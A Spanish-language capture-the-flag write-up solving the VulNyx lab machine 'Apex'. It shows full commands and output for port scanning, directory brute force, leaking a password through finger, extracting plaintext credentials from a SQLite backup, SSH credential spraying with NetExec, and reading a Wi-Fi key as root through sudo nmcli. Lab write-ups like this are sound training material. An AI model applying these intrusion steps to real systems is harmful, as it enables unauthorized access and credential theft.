🟢 NYX - APex

#vulnyx #nyx #linux #osint #finger #sqlite #sqlite3 #ssh (bruteforce) #nmcli (sudo)

Enero 23, 2025 by Miguel R. (d4t4s3c)

Information

Apex es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario d4t4s3c.

  • Acceso inicial: Mediante técnicas de OSINT se identifica un nombre de usuario, con el usuario obtenido me conecto al servicio Finger y obtengo unas credenciales que me permitirán descargar un backup de una base de datos SQLite, después realizo fuerza bruta al servicio SSH con las credenciales obtenidas en la base de datos.
  • Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario, esto permitirá obtener el SSID de una red inalámbrica y su password que se reutilizarán para el usuario root.


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:22 CET
Nmap scan report for 192.168.1.43
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
79/tcp open  finger
80/tcp open  http
 nmap -sVC -p22,79,80 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:25 CET
Nmap scan report for 192.168.1.43
Host is up (0.00044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open  finger  Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: The all seeing eye...
|_http-server-header: Apache/2.4.62 (Debian)

Shell (seth)

80/TCP (HTTP)

Directory Brute Force
 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.43/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.43/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup               (Status: 401) [Size: 459]
/server-status        (Status: 403) [Size: 277]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================

La ruta /backup se encuentra protegida por un auth_basic, al no disponer de credenciales realizo password guessing sin éxito

OSINT

Enumero a horus como posible nombre de usuario en base a la búsqueda inversa sobre la imagen en Yandex

79/TCP (FINGER)

Me conecto al servicio Finger con el usuario horus y obtengo un password

 finger horus@192.168.1.43
Login: horus          			Name: 
Directory: /home/horus              	Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.

80/TCP (HTTP)

Vuelvo al sitio web a la ruta /backup y accedo con las credenciales obtenidas horus:H0Ru$$3rv3

Encuentro y descargo el archivo database.db, parece una exportación de una base de datos de tipo sqlite3

 file database.db
database.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5

Obtengo credenciales de varios usuarios en la tabla users

 sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy

22/TCP (SSH)

Brute Force

Creo una wordlist con los usuarios y otra con los passwords

 cat dump ; echo
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy
 cut -d '|' -f 2 dump |tee users.dic
anubis
amon
seth
osiris
 cut -d '|' -f 3 dump |tee pass.dic
L44NxKRnP7wxrBsxibpDORySkbEHRO
xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
ITA96l3isg4uV2Sm8eYn41XVfxprFy

Obtengo éxito con las credenciales del usuario seth con NetExec

 netexec ssh 192.168.1.43 -u users.dic -p pass.dic --continue-on-success
SSH         192.168.1.43    22     192.168.1.43     [*] SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
SSH         192.168.1.43    22     192.168.1.43     [-] anubis:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] amon:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] seth:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] osiris:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH         192.168.1.43    22     192.168.1.43     [-] anubis:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH         192.168.1.43    22     192.168.1.43     [-] amon:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH         192.168.1.43    22     192.168.1.43     [+] seth:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf  Linux - Shell access!

Accedo al sistema como usuario seth con las credenciales obtenidas

 ssh seth@192.168.1.43
seth@192.168.1.43's password: 
seth@apex:~$ id ; hostname
uid=1001(seth) gid=1001(seth) grupos=1001(seth)
apex

Privilege Escalation

Al hacer sudo -l da la sensación que sudo no se encuentra instalado

seth@apex:~$ sudo -l
-bash: sudo: orden no encontrada

Puede que sudo se encuentre fuera del PATH y al llamarlo de forma relativa en lugar de absoluta no lo encuentre, al hacer una busqueda con find encontre sudo en la ruta /usr/sbin que se encuentra fuera del PATH

seth@apex:~$ find / -name sudo -type f -exec ls -ld {} \; 2>/dev/null
-rwsr-xr-x 1 root root 182600 ene 21 10:49 /usr/sbin/sudo
seth@apex:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Ahora si puedo hacer uso de sudo

seth@apex:~$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seth may run the following commands on apex:
    (root) NOPASSWD: /usr/bin/nmcli

El usuario seth puede ejecutar como root el binario nmcli con sudo
(En el man de nmcli, se puede observar que permite una multitud de funciones relacionadas con redes de todo tipo)

Listo todas las redes inalámbricas almacenadas en el sistema y encuentro una red WIFI llamada MikroTik_AP

seth@apex:~$ /usr/sbin/sudo -u root nmcli connection show
NAME         UUID                                  TYPE  DEVICE 
MikroTik_AP  e25d230b-bb26-4488-b2e0-1b94dac2b9cd  wifi  --    

La red MikroTik_AP fue creada por el usuario root y otros usuarios no disponen de ningún permiso

seth@apex:~$ find / -name MikroTik_AP 2>/dev/null
/etc/NetworkManager/system-connections/MikroTik_AP

seth@apex:~$ ls -l /etc/NetworkManager/system-connections/MikroTik_AP
-rw------- 1 root root 227 ene 21 18:39 /etc/NetworkManager/system-connections/MikroTik_AP

Como puedo ejecutar nmcli en el contexto de root con sudo, consigo leer el password de la red MikroTik_AP

seth@apex:~$ /usr/sbin/sudo -u root nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3

Me convierto en usuario root mediante una reutilización de credenciales

seth@apex:~$ su - root
Contraseña: 
root@apex:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
apex

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@apex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
c03c45**************************
cb991c**************************

Hasta aquí la resolución de la máquina APex.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""